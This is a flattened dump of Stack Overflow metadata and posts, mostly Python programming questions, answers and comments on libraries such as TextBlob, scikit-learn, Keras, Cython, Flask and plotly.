tagged with: textblob
has answer: http://stackoverflow.com/a/52888833
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
has title: no module named textblob (on a mac)
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/18174482
downvote count: 0
upvote count: 1
tagged with: python
has body: I have been trying to install textblob on my mac but I keep getting errors. I followed the instructions here https://github.com/sloria/TextBlob for installing the packaged I ran the lines $ pip install -U text blob in which my terminal returned Requirement already up-to-date: textblob in /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages Requirement already up-to-date: nltk&gt;=3.1 in /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages (from textblob) Requirement already up-to-date: six in /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages (from nltk&gt;=3.1-&gt;textblob ) Then following I ran $ python3 -m textblob.download_corpora in which my computer returned /Library/Frameworks/Python.framework/Versions/3.6/bin/python3: Error while finding module specification for 'textblob.download_corpora' (ModuleNotFoundError: No module named 'textblob') I looked at this post Unable to get up and running with TextBlob and made sure i had no files named text or textblob so now i am at a wall not knowing what else to do. Can someone help me ?
has answer: http://stackoverflow.com/a/49524539
score: 1

tensorboard
tags question: http://stackoverflow.com/q/46954743
tags question: http://stackoverflow.com/q/46954643
tags question: http://stackoverflow.com/q/46952766
tags question: http://stackoverflow.com/q/46951793
type: Tag
tags question: http://stackoverflow.com/q/47030644
tags question: http://stackoverflow.com/q/47004783
tags question: http://stackoverflow.com/q/47007967
tags question: http://stackoverflow.com/q/47022674
tags question: http://stackoverflow.com/q/46982652
tag name: tensorboard

http://stackoverflow.com/a/47004871
has comment: http://stackoverflow.com/comment/106543640
upvote count: 13
answers question: http://stackoverflow.com/q/47002558
has body: I figured it out. Basically you need to use the file id to list or download a folder's contents. Assuming that file_list is the root directory: for file1 in file_list: if file1['title'] == '[name_of_target_folder]': folder_id = file1['id'] Then &gt; folder_id &gt; 'WIU1xyz19g83abcdefg' (for example) get every file in 'folder': file_list = drive.ListFile({'q': "'{}' in parents and trashed=false".format(folder_id)}).GetList() download every file in 'folder': for i, file1 in enumerate(sorted(file_list, key = lambda x: x['title']), start=1): print('Downloading {} from GDrive ({}/{})'.format(file1['title'], i, len(file_list))) file1.GetContentFile(file1['title'])
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47002558
score: 13
has comment: http://stackoverflow.com/comment/106550411
has comment: http://stackoverflow.com/comment/98413945
type: Answer

http://stackoverflow.com/q/46964765
has body: def getPairsWithMaximumPMI(self, words, N): print("\nSubtask 3: given a list of words, find the pairs with the greatest PMI") #return [(1.0, "foo", "bar")] possiblePairs = list(combinations(words, 2)) currMaxPMI = 0.0 res = [[]] print("Total pairs", (len(possiblePairs))) for p in possiblePairs: counter += 1 print(counter) if(self.getPMI(p[0], p[1]) &gt; currMaxPMI): currMaxPMI = self.getPMI(p[0], p[1]) res[0] = (currMaxPMI, p[0], p[1]) print(res) return res My function basically creates all possible pairs of words from a given 'words' list and stores in possiblePairs . e.g. ['I', 'am', 'you'] --&gt; [('I','am'), ('I', 'you'), ('am','you')] Then iterates through this possiblePairs and do some computation that is not important in my question. The thing is, when the possiblePairs is huge, it takes about 30 minutes to do the computation and this is not what I desire. What do I have to do to make algorithm more efficient? I am new to this kind of stuff, so I need help. Edit: currMaxPMI = 0.0 res = [[]] counter = 0 #print("Total pairs", (len(possiblePairs))) for p in (combinations(words, 2)): counter += 1 print(counter) if(self.getPMI(p[0], p[1]) &gt; currMaxPMI): currMaxPMI = self.getPMI(p[0], p[1]) res[0] = (currMaxPMI, p[0], p[1]) print(res) return res
type: Question
has comment: http://stackoverflow.com/comment/80878060
has answer: http://stackoverflow.com/a/46964799
has title: Efficiently iterating though a large corpus (python)
has comment: http://stackoverflow.com/comment/80877345
has comment: http://stackoverflow.com/comment/80878054
has comment: http://stackoverflow.com/comment/80877422
has comment: http://stackoverflow.com/comment/80878616
tagged with: python
has comment: http://stackoverflow.com/comment/80878584
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46964799
score: 0
has comment: http://stackoverflow.com/comment/80877305
answer count: 1
has comment: http://stackoverflow.com/comment/80877313

http://stackoverflow.com/q/46928772
favorite count: 0
type: Question
has title: sklearn.neighbors.KNeighborsClassifier could not convert string to float
has answer: http://stackoverflow.com/a/46929220
linked to: http://stackoverflow.com/q/35281652
tagged with: python
score: -1
accepted answer: http://stackoverflow.com/a/46929220
tagged with: sklearn-pandas
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80804334
has body: I am trying to clean my data in python using sklearn.neighbors.KNeighborsClassifier. In the fit function of classifier I have provide training data in the form of a DataTable generated by Pandas from a csv file. The fit function throws an error could not convert string to float : "training data's first cell value". How can I use the training data of tabular form of strings? I am working on Kaggle Titanic dataset.
tagged with: classification
has comment: http://stackoverflow.com/comment/80804937
downvote count: 2
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80807544

google-chrome
tags question: http://stackoverflow.com/q/46926654
tags question: http://stackoverflow.com/q/46960575
tags question: http://stackoverflow.com/q/47026241
type: Tag
tags question: http://stackoverflow.com/q/46937319
tag name: google-chrome
tags question: http://stackoverflow.com/q/47008550
tags question: http://stackoverflow.com/q/47047605
tags question: http://stackoverflow.com/q/47019839
tags question: http://stackoverflow.com/q/47044965
tags question: http://stackoverflow.com/q/47062808

http://stackoverflow.com/comment/80943358
type: Comment
score: 4
comment on: http://stackoverflow.com/q/46998356
type: QuestionComment
has text: `True is not False is False` becomes `(True is not False) and (False is False)` which is `True`.

http://stackoverflow.com/q/47037128
downvote count: 0
tagged with: scikit-learn
tagged with: scipy
has title: How does the scipy cKDTree parameter 'boxsize' work?
tagged with: nearest-neighbor
has body: I want to do a nearest neighbor search in a wrapped cube and found that that scipy.spatial.cKDTree can do so with the parameter boxsize = 1. The documentation provides this statement: Apply a m-d toroidal topology to the KDTree.. The topology is generated by xi+niLi where ni are integers and Li is the boxsize along i-th dimension. The input data shall be wrapped into [0,Li). A ValueError is raised if any of the data is outside of this bound. I would like to know what exactly it is doing so I can apply it to other variants of the NN algorithm, namely sklearn's Ball tree.
favorite count: 0
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81023425
score: 2
has comment: http://stackoverflow.com/comment/81022733
answer count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/80844454
type: Comment
score: 0
comment on: http://stackoverflow.com/q/46948615
type: QuestionComment
has text: @Jean-FrançoisFabre hmm.. very weird.. let me try to regenerate the file.

http://stackoverflow.com/comment/80930215
comment on: http://stackoverflow.com/a/46990895
type: Comment
score: 0
type: AnswerComment
has text: but the 2nd solution does clearly the intent of my test. :)

http://stackoverflow.com/a/46921442
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80791130
has body: According to your example line you want to add delimiter=' ' to the csv.reader() csv_data = csv.reader(csv_file, delimiter=' ') Taking a guess at the structure of your csv, but under the assumption that it contains no headings and you want to keep the decimals: with open('new_data.txt') as csv_file: csv_data = csv.reader(csv_file, delimiter=' ') for line in csv_data: x = [float(n) for n in line.split(',')] print(x) This will fail if you have string values, such as 'A string'
has comment: http://stackoverflow.com/comment/80790549
has comment: http://stackoverflow.com/comment/80790553
has comment: http://stackoverflow.com/comment/80791574
has comment: http://stackoverflow.com/comment/80790541
type: Answer
answers question: http://stackoverflow.com/q/46921290
has comment: http://stackoverflow.com/comment/80791594
has comment: http://stackoverflow.com/comment/80790881
has comment: http://stackoverflow.com/comment/80791819
score: 1

javascript
tags question: http://stackoverflow.com/q/46941794
tags question: http://stackoverflow.com/q/46946227
tags question: http://stackoverflow.com/q/46944130
tags question: http://stackoverflow.com/q/46909838
tags question: http://stackoverflow.com/q/46918625
tags question: http://stackoverflow.com/q/46936795
tags question: http://stackoverflow.com/q/47022336
tags question: http://stackoverflow.com/q/47011984
tags question: http://stackoverflow.com/q/46956567
tags question: http://stackoverflow.com/q/46912454
tags question: http://stackoverflow.com/q/47047605
tags question: http://stackoverflow.com/q/47057832
tags question: http://stackoverflow.com/q/46997505
tags question: http://stackoverflow.com/q/46946218
tags question: http://stackoverflow.com/q/46971065
tags question: http://stackoverflow.com/q/47014748
tags question: http://stackoverflow.com/q/46954282
tag name: javascript
tags question: http://stackoverflow.com/q/46988246
tags question: http://stackoverflow.com/q/47038771
tags question: http://stackoverflow.com/q/46925221
tags question: http://stackoverflow.com/q/47012126
tags question: http://stackoverflow.com/q/47040905
tags question: http://stackoverflow.com/q/46915072
tags question: http://stackoverflow.com/q/46927553
tags question: http://stackoverflow.com/q/46926258
tags question: http://stackoverflow.com/q/47059817
tags question: http://stackoverflow.com/q/46935433
tags question: http://stackoverflow.com/q/46944975
tags question: http://stackoverflow.com/q/46997384
tags question: http://stackoverflow.com/q/46932528
tags question: http://stackoverflow.com/q/46956406
tags question: http://stackoverflow.com/q/46961818
tags question: http://stackoverflow.com/q/46985429
tags question: http://stackoverflow.com/q/46939276
tags question: http://stackoverflow.com/q/47042423
type: Tag
tags question: http://stackoverflow.com/q/47002212
tags question: http://stackoverflow.com/q/47005450
tags question: http://stackoverflow.com/q/46969118
tags question: http://stackoverflow.com/q/46951157
tags question: http://stackoverflow.com/q/46978722
tags question: http://stackoverflow.com/q/47027951
tags question: http://stackoverflow.com/q/47047223

http://stackoverflow.com/a/47007296
has body: In your nginx config, change your server_name config to server_name lab.###.com; In that way, nginx will serve your gitlab page only under the lab.###.com subdomain.
type: Answer
has comment: http://stackoverflow.com/comment/80961341
answers question: http://stackoverflow.com/q/47006695
score: 0
has comment: http://stackoverflow.com/comment/81021643
has comment: http://stackoverflow.com/comment/81080983

http://stackoverflow.com/q/47012659
accepted answer: http://stackoverflow.com/a/47012928
has answer: http://stackoverflow.com/a/47012928
tagged with: python
type: AnsweredQuestion
score: 0
has title: Python string not in file read
answer count: 1
has body: I want to check if a string is already existent in a file and base on this check do something. In more detail every day the script is launched, is adding a line to a csv file with one of the field being the date. import time today_fmt = time.strftime("%d/%m/%Y") file = open('allowance.csv','a+') var0 = today_fmt not in file.read() var1 = '30/10/2017' not in file.read() Where allowance.csv file looks like: 28/10/2017,26.7,774.31 29/10/2017,25.62,717.29 30/10/2017,26.57,717.29 In this case today_fmt holds '30/10/2017' but when I run the script (using Python3.4) both var0 and var1 are true and I don't understand where I'm wrong. I have also tried: var0 = str(today_fmt) not in file.read()
type: Question

http://stackoverflow.com/a/46927144
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46926163
has comment: http://stackoverflow.com/comment/80803522
accepted answer of: http://stackoverflow.com/q/46926163
type: Answer
has body: Admittedly, this might be way over the top and I'm sure there are other possibilities to accomplish the same. I'd like to present my solution here with (?(DEFINE)...) using the newer regex module. First the code, then the explanation: import regex as re string = """ 27/08/15, 15:45 - text continue text continue text 2 27/08/15, 16:10 - new text new text 2 new text 3 27/08/15, 19:55 - more text """ rx = re.compile(r''' (?(DEFINE) (?P&lt;date&gt;\d{2}/\d{2}/\d{2},\ \d{2}:\d{2}) # the date format ) ^ # anchor, start of the line (?&amp;date) # the previously defined format (?:(?!^(?&amp;date)).)+ # "not date" as long as possible ''', re.M | re.X | re.S) entries = (m.group(0).replace('\n', ' ') for m in rx.finditer(string)) for entry in entries: print(entry) This yields: 27/08/15, 15:45 - text continue text continue text 2 27/08/15, 16:10 - new text new text 2 new text 3 27/08/15, 19:55 - more text Basically this approach looks for date blocks, separated by text in between: date text1 text2 date text3 date text ... and puts them together like date text1 text2 date text3 date text The "date format" is defined in the date group, afterwards the structure is as follows date "match as long as there's no date in the next line" This is achieved via a negative lookahead. Afterwards all found newlines are replaced with a space (in the comprehension, that is). Obviously, one could as well get the same result without the regex module and the (?(DEFINE) block but we'd have to repeat ourselves in the matching and lookahead. In the end, see a demo on regex101.com for the expression.
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80805480

http://stackoverflow.com/q/46932212
has comment: http://stackoverflow.com/comment/80811922
type: Question
has comment: http://stackoverflow.com/comment/80812780
type: UnansweredQuestion
has title: Django: Compare two querysets
tagged with: python
has body: I have a model named Music and it has artist ManyToManyField. I want to validate that artist and name fields are unique_together. Django will not let to put ManyToManyField into the unique_together list of Meta class. Below is what I am doing and I is giving me an error &lt;"Music: Hello> needs to have a value for field "id" before this many-to-many relationship can be used. class Music(models.Model): name = models.CharField(max_length=256) artist = models.ManyToManyField(Performer, related_name='all_songs') file = models.FileField(upload_to='music/') def save(self, *args, **kwargs): similar_musics = self.__class__.objects.filter(name=self.name) for music in similar_musics: artists = music.artist.all() diff = set(artists.all()).difference(set(self.artist.all())) if diff: raise ValidationError('This song seems to be already created!') super(Music, self).save(*args, **kwargs) What is the easiest way to validate so that artist and name fields unique together ? Additionally, I want to compress music file and stream my compressed music to browser and in the browser uncompress received parts and play. So, it may be similar to spotify but very simple version. What may be best way to do this task? Thank you in advance
score: 0
linked to: http://stackoverflow.com/q/16058571
answer count: 0
tagged with: django

http://stackoverflow.com/comment/80966876
type: Comment
score: 0
type: AnswerComment
has text: What is x ? Header is A,B,C only
comment on: http://stackoverflow.com/a/47010207

http://stackoverflow.com/comment/80863525
comment on: http://stackoverflow.com/q/46957927
has text: Looks like you are viewing the tag in dev tools in a browser. How does it looks in a cURL request (or something like that)? It could be that the tag content for tags with `data-obfuscated` is rendered or loaded via JS after page load or something similar.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80939733
type: Comment
comment on: http://stackoverflow.com/q/46996435
type: QuestionComment
score: 0
has text: I have already posted ,thank you reminder

http://stackoverflow.com/q/46987220
has comment: http://stackoverflow.com/comment/80921329
upvote count: 2
type: AnsweredQuestion
has body: I have a tasty, empty array called fajita: fajita = np.empty(2) array([ 2.00000000e+00, 1.72723382e-77]) When I use: np.insert(fajita,0,[2,2]) I get: array([ 2.00000000e+00, 2.00000000e+00, 2.00000000e+00, 1.72723382e-77]) The problem here is that I only want the 2 values I inserted, I don't want to keep the previous values from the empty array. Expected output should be an array w/ only 2 values that were inserted. Something like: array([ 2.00000000e+00, 2.00000000e+00])
score: 1
downvote count: 1
has answer: http://stackoverflow.com/a/46987301
favorite count: 0
has title: Inserting values into a np.empty array , how to replace?
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46992476
has answer: http://stackoverflow.com/a/46987434
accepted answer: http://stackoverflow.com/a/46987434
has comment: http://stackoverflow.com/comment/80921390
tagged with: arrays
tagged with: python
has answer: http://stackoverflow.com/a/53394898
possible better answer: http://stackoverflow.com/a/46987301
answer count: 4
has comment: http://stackoverflow.com/comment/80921383

http://stackoverflow.com/a/46999295
has comment: http://stackoverflow.com/comment/80945861
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46996831
has comment: http://stackoverflow.com/comment/80945726
answers question: http://stackoverflow.com/q/46996831
has comment: http://stackoverflow.com/comment/80947481
type: Answer
score: 1
has body: If you are willing to move that function to cython and add some type annotations, there are significant performance gains to be made. Here is my version of this algorithm: apen.pyx: cimport cython from libc.math cimport fabs, log import numpy as np @cython.boundscheck(False) @cython.wraparound(False) @cython.initializedcheck(False) @cython.cdivision(True) cdef double max_dist(double[:] x_i, double[:] x_j, int m) nogil: #Performs the max function described in step 4 of ApEn algorithm cdef double out cdef double dist out = fabs(x_i[0] - x_j[0]) for k in range(1, m - 1): dist = fabs(x_i[k] - x_j[k]) if dist &gt; out: out = dist return out @cython.boundscheck(False) @cython.wraparound(False) @cython.initializedcheck(False) @cython.cdivision(True) cdef double phi(double[:] Sn, int m, int r): cdef int N = len(Sn) cdef int i cdef int j cdef int k cdef int c_val cdef int counter cdef double phi_sum = 0 cdef double phi cdef double m_dist #Performs step 3 of the ApEn algorithm cdef double[:, :] x = np.empty((N - m + 1, m), dtype=np.float64) with nogil: for i in range(N - m + 1): for j in range(0, m): x[i, j] = Sn[j + i] #Performs a combined steps 4 &amp; 5 of the ApEn algorithm for i in range(N - m + 1): counter = 0 for j in range(N - m + 1): m_dist = max_dist(x[i], x[j], m) c_val = 1 if m_dist &lt;= r else 0 counter += c_val phi_sum += log(counter / (N - m + 1.0)) phi = phi_sum / (N - m + 1.0) return phi cpdef double approx_entropy(double[:] Sn, int m, int r):#Passing in steps 1 &amp; 2 of the ApEn algorithm cdef double ApEn = abs(phi(Sn, m, r) - phi(Sn, m + 1, r))#Performs step 6 of the ApEn algorithm return ApEn apen.pxd: cdef double max_dist(double[:] x_i, double[:] x_j, int m) nogil cdef double phi(double[:] Sn, int m, int r) cpdef double approx_entropy(double[:] Sn, int m, int r) setup.pxd: from distutils.core import setup from Cython.Build import cythonize from distutils.core import Extension import numpy as np extensions = [ Extension("apen", sources=["apen.pyx"], inc…

http://stackoverflow.com/comment/81047825
has text: Sure, I'm just calling the function with gaussian kernel, edited the main post to add that info
score: 0
comment on: http://stackoverflow.com/q/47046384
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46967294
type: Answer
has body: This skips pairs where the corresponding item in the second list is None: final_list_of_tuples = [(a, b) for (a, b) in zip(list_one, list_two) if b is not None] And here's one possible for loop version: final_list_of_tuples = [] for i, b in enumerate(list_two): if b is not None: a = list_one[i] final_list_of_items.append((a, b))
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/46967179
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80882460
accepted answer of: http://stackoverflow.com/q/46967179

http://stackoverflow.com/comment/80817378
has text: @BrianH. My scenario is three-level connection, yours is two.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46933262

http://stackoverflow.com/comment/80957951
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47005625
has text: Thanks a lot, That is really helpful. I will try to apply it for different lines and see how it works. Thanks as well for editing my question.
type: Comment

http://stackoverflow.com/q/46991612
downvote count: 0
answer count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49521885
has body: I wanted to make a choropleth world map, which shows the hits(number of searches) of a word, on a World map. Following is the code: import plotly import plotly.offline import pandas as pd df = pd.read_excel('F:\\Intern\\csir\\1yr\\news\\region_2016_2017.xlsx') df = df.query('keyword==["addiction"]') scl = [[0.0, 'rgb(242,240,247)'],[0.2, 'rgb(218,218,235)'],[0.4, 'rgb(188,189,220)'],\ [0.6, 'rgb(158,154,200)'],[0.8, 'rgb(117,107,177)'],[1.0, 'rgb(84,39,143)']] data = [dict( type='choropleth', colorscale=scl, locations = df['location'], z = df['hits'].astype(int), locationmode = "country names", autocolorscale = False, reversescale = False, marker = dict( line = dict ( color = 'rgb(180,180,180)', width = 0.5)), colorbar = dict( autotick = False, title = 'Hits'),)] layout = dict( title = 'Addiction keyword 1yr analysis', geo = dict( showframe = False, showcoastlines = False, projection = dict( type = 'Mercator' ) ) ) fig = dict(data = data,layout = layout) plotly.offline.plot(fig,validate=False,filename = 'd3-world-map.html') And the plotted map is: As one can see clearly, many countries are missing. This may be due to the fact that many countries didn't have entries which explicitly stated that they have zero hits. I don't want to explicitly do that with my data. Is there any other way out of this? So that we can see all of the countries. Data set can be found here. Note that the dataset that I've linked is an .csv file whereas the file used in the program is an .xlsx version of the file.
type: UnansweredQuestion
tagged with: python
tagged with: choropleth
score: 2
has title: Choropleth world map not showing all countries
upvote count: 2
tagged with: plotly

http://stackoverflow.com/a/47022717
has comment: http://stackoverflow.com/comment/80992468
upvote count: 0
score: -2
downvote count: 2
has body: You could do something like this. // you could use map = dict(a=2, s=3, d=4, f=5) print ''.join([str(map[k]) for k in "asdffdsa"])
has comment: http://stackoverflow.com/comment/80992609
answers question: http://stackoverflow.com/q/47022641
type: Answer

http://stackoverflow.com/comment/80815804
type: QuestionComment
has text: You are trying to decode a string. "line" is a string in a file. Why not just json.loads(open(fname).read().decode('utf-8-sig'))?
score: 0
comment on: http://stackoverflow.com/q/46934135
type: Comment

http://stackoverflow.com/q/47039417
tagged with: flask
has comment: http://stackoverflow.com/comment/81029085
has comment: http://stackoverflow.com/comment/81025909
has comment: http://stackoverflow.com/comment/81026721
score: 0
has comment: http://stackoverflow.com/comment/81026674
has title: How to validate secrets in flask config
answer count: 0
has comment: http://stackoverflow.com/comment/81027863
has comment: http://stackoverflow.com/comment/81028202
type: Question
has body: Flask documentation suggests splitting development and production configuration using classes. I have such classes defined in my config.py: class Config(object): DEBUG = False TESTING = False SECRET_KEY = os.urandom(24) SQLALCHEMY_DATABASE_URI = None MY_API_KEY = None class ProductionConfig(Config): SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://{username}:{password}@{server}/{db}'.format( username=os.getenv('MYSQL_USERNAME'), password=os.getenv('MYSQL_PASSWORD'), server=os.getenv('MYSQL_SERVER'), db=os.getenv('MYSQL_DATABASE') ) MY_API_KEY = os.getenv('MY_API_KEY') class DevelopmentConfig(Config): SQLALCHEMY_DATABASE_URI = 'sqlite://database.db' MY_API_KEY = os.getenv('MY_API_KEY', 'fake_api_key') Config is a base class with common settings. ProductionConfig is using real database and real api keys. DevelopmentConfig is using local sqlite database and either real api keys or dummy keys. This works great for local development. I can use DevelopmentConfig with default settings to quickly launch and test my application. I can also provide API key when I need to test parts using API. However, in production I would like to be sure MY_API_KEY and mysql credentials are always provided. Application should refuse to launch (with clear error message), if any of those environment variables are not defined. I can do: MY_API_KEY = os.environ['MY_API_KEY'] but this will crash during module load (and will make DevelopmentConfig unusable). Is there a standard way to validate configuration? Do I need to redesign the way I load my configs?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81025812
tagged with: python

http://stackoverflow.com/comment/80872805
comment on: http://stackoverflow.com/q/46961998
type: Comment
type: QuestionComment
has text: How about calculating a document vectors for both files and then check the distance. We use it at school to see if students cheat or not. Also google uses that - I think to find page similarities?
score: 0

http://stackoverflow.com/comment/80818385
score: 0
has text: @TomDalton `len(pickle.dumps(part))=206` and `len(pickle.dumps(self))=36568` `Self` seems to be gradually increasing in size, but nothing dramatic. They are both quite fast... I can try a timeit maybe if needed
type: Comment
comment on: http://stackoverflow.com/q/46934716
type: QuestionComment

http://stackoverflow.com/a/75728961
has body: For anyone experiencing this error on a raspberry pi using the SpeechRecognition python library what fixed it for me was ensuring that I specified the proper device index e.g. sr.Microphone(device_index=2) you can see what devices you have and the index of them by running aplay -l
type: Answer
answers question: http://stackoverflow.com/q/46946788
score: 0

http://stackoverflow.com/comment/80864174
score: 0
comment on: http://stackoverflow.com/q/46958166
type: Comment
type: QuestionComment
has text: Just checked it does.

http://stackoverflow.com/comment/80825694
has text: While this link may answer the question, it is better to include the essential parts of the answer here and provide the link for reference. Link-only answers can become invalid if the linked page changes. - [From Review](/review/low-quality-posts/17736453)
comment on: http://stackoverflow.com/a/46938114
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80915488
comment on: http://stackoverflow.com/q/46983905
type: Comment
score: 0
has text: I tried it but it just gives one number for each list
type: QuestionComment

http://stackoverflow.com/a/47007510
downvote count: 0
answers question: http://stackoverflow.com/q/46993820
type: Answer
has body: From the user guide: Known Issue: In Canopy running Python 3, GUI backend must be explicitly set If you ask matplotlib to display a plot, or otherwise run Python code that creates a GUI window, by default you will get an error traceback ending with: ImportError: No module named 'PyQt4' The solutions are to install PyQt (which is GPL-licensed) in the Canopy Package Manager, or to use the Canopy Preference menu’s Python tab to specify the TK PyLab backend for creating GUIs. For details, see “Python 3 in Canopy 2 - ‘No module named PyQt4’ error”
upvote count: 2
score: 2

http://stackoverflow.com/comment/80978791
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47013285
has text: :Any thoughts on this?
type: AnswerComment

http://stackoverflow.com/a/46986190
has comment: http://stackoverflow.com/comment/92788886
has comment: http://stackoverflow.com/comment/81020730
answers question: http://stackoverflow.com/q/46982616
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81025174
has comment: http://stackoverflow.com/comment/92789985
score: 14
upvote count: 14
has comment: http://stackoverflow.com/comment/92814794
type: Answer
accepted answer of: http://stackoverflow.com/q/46982616
has body: According to this Keras Sequential Model guide on "stateful" LSTM (at the very bottom), we can see what those three elements mean: Expected input batch shape: (batch_size, timesteps, data_dim). Note that we have to provide the full batch_input_shape since the network is stateful. the sample of index i in batch k is the follow-up for the sample i in batch k-1. The first one as you already discovered is the size of the batches to be used during training. How much you should chose depends in part on your specific problem, but mostly is given by the size of your dataset. If you specify a batch size of x and your dataset contains N samples, during training your data will be split in N/x groups (batches) of size x each. Therefore, you probably want your batch size to be smaller than the size of your dataset. There is no unique value, but you want it to be proportionally smaller (say one or two orders) than all your data. Some people prefer to use powers of 2 (32, 128, etc.) as their batch sizes. It is also possible in some cases to not use batches at all, and train with all your data at once (although not necessarily better). The other two values are the timesteps (the size of your temporal dimension) or "frames" each sample sequence has, and the data dimension (that is, the size of your data vector on each timestep). For example, say your input sequences look like X = [[0.54, 0.3], [0.11, 0.2], [0.37, 0.81]]. We can see that this sequence has a timestep of 3 and a data_dim of 2. So, the ValueError you are getting is most probably due to this (the error even hints that it expected 3 dims). Also, make sure your array is a Numpy Array. As a last comment, given that you say you have 32 samples total (that is your whole dataset contains 32 samples) I consider is too few data to be using batches; usually the minimum batch size I have seen is 32, so consider obtaining more data before trying to use batch training. Hope this helps.
has comment: http://stackoverflow.com/comment/81025288

http://stackoverflow.com/q/47003093
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80953118
has comment: http://stackoverflow.com/comment/80953318
has comment: http://stackoverflow.com/comment/80952820
favorite count: 0
has answer: http://stackoverflow.com/a/47003564
type: Question
linked to: http://stackoverflow.com/q/1832940
tagged with: object
has comment: http://stackoverflow.com/comment/80952760
has comment: http://stackoverflow.com/comment/80953991
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80954709
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80952994
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80952869
has comment: http://stackoverflow.com/comment/80953147
tagged with: class
has comment: http://stackoverflow.com/comment/80953051
upvote count: 0
has comment: http://stackoverflow.com/comment/80953066
has comment: http://stackoverflow.com/comment/80952718
has title: Dictionary lookup won't recognize initial input
has comment: http://stackoverflow.com/comment/80953243
tagged with: instance
has body: Hello StackOverflow community, I am very close to finishing the creation of a employee database program which implements a dictionary for storage. The issue I have been running into is that the initial Employee objects that are stored before the menu prompt are unable to be located. They exist in the database, but I cannot manipulate them at all with my code. Anything I add afterwards using the menu functions is able to be looked up or deleted. I'm not really sure what the issue is here. I tried making the dictionary global to no avail. The statements I use are nearly identical. class Employee: def __init__(self, name, idNo, department, title): self.name = name self.idNo = idNo self.department = department self.title = title def setName(newName): self.name = newName def setIDNo(newID): self.idNo = newID def setDepartment(newDept): self.department = newDept def setTitle(newTitle): self.title = newTitle def getName(): return self.name def getIDNo(): return self.idNo def getDepartment(): return self.department def getTitle(): return self.title def __str__(self): return "Name: {0} \nID number: {1} \nDepartment: {2} \nTitle: {3}\n".format(self.name, self.idNo, self.department, self.title) def main(): empDatabase = {} entry = input("Do You Want to Enter New Employee Information(Y/N): ") entry = entry.upper() if entry == 'Y': gate = True newName = input("Enter Employee Name: ") newID = input("Enter Employee ID Number: ") newDept = input("Enter Employee Department Name: ") newTitle = input("Enter Employee Job Title: ") empDatabase[newID] = Employee(newName, newID, newDept, newTitle) another = input("Do You Want to Enter Another Employee Information(Y/N): ") another = another.upper() if another != 'Y': gate = False while gate == True: newName2 = input("Enter Employee Name: ") newID2 = input("Enter Employee ID Number: ") newDept2 = input("Enter Employee Department Name: ") newTitle2 = input("Enter Employee Job Title: ") empDatabase[newID2] = Employee(newName2, newID2, newDept…
has comment: http://stackoverflow.com/comment/80955856

http://stackoverflow.com/comment/80816298
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46911651
has text: According to the ORB paper, the threshold is set dynamically to detect more than `nfeatures` points. Then they are sorted according to the Harris measure and only the top `nfeatures` are returned. If you want your algorithm to be less sensitive, that seems to be the only way to go about it.

http://stackoverflow.com/comment/81165183
comment on: http://stackoverflow.com/q/46999771
has text: Have you tried using `could_be_isomorphic`? It basically does some more advanced filtering (degree distribution, numbers of triangles, ...) you've mentioned and can be used to rule out a lot of pairs.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80832385
type: AnswerComment
has text: Advice adopted @DavidG
comment on: http://stackoverflow.com/a/46942084
score: 0
type: Comment

http://stackoverflow.com/comment/80877780
type: QuestionComment
score: 0
has text: @DavidG I'm stuck here. I'm not even able to make the legends appear
comment on: http://stackoverflow.com/q/46964694
type: Comment

http://stackoverflow.com/comment/80830995
has text: All children of the same container (`root`, in your case) ABSOLUTELY MUST use the same geometry manager - you cannot use `.grid()` for some and `.pack()` for others.
comment on: http://stackoverflow.com/q/46941260
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/46940938
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/46940868
has comment: http://stackoverflow.com/comment/80829233
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46940868
upvote count: 1
has body: Since it's just an iterator, use next to get the next value, and then the first item is consumed (So it won't show up in the for loop.) for k, g in groupby(documents, itemgetter(2)): first_item = next(g) print(first_item[0], 'came first.') for doc in g: print(doc[0], 'came after')

http://stackoverflow.com/q/46929826
downvote count: 0
answer count: 1
has title: Pushing dataframe to postgres using sqlalchemy and psycogp2
upvote count: 1
favorite count: 0
type: Question
tagged with: postgresql
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46930108
tagged with: python
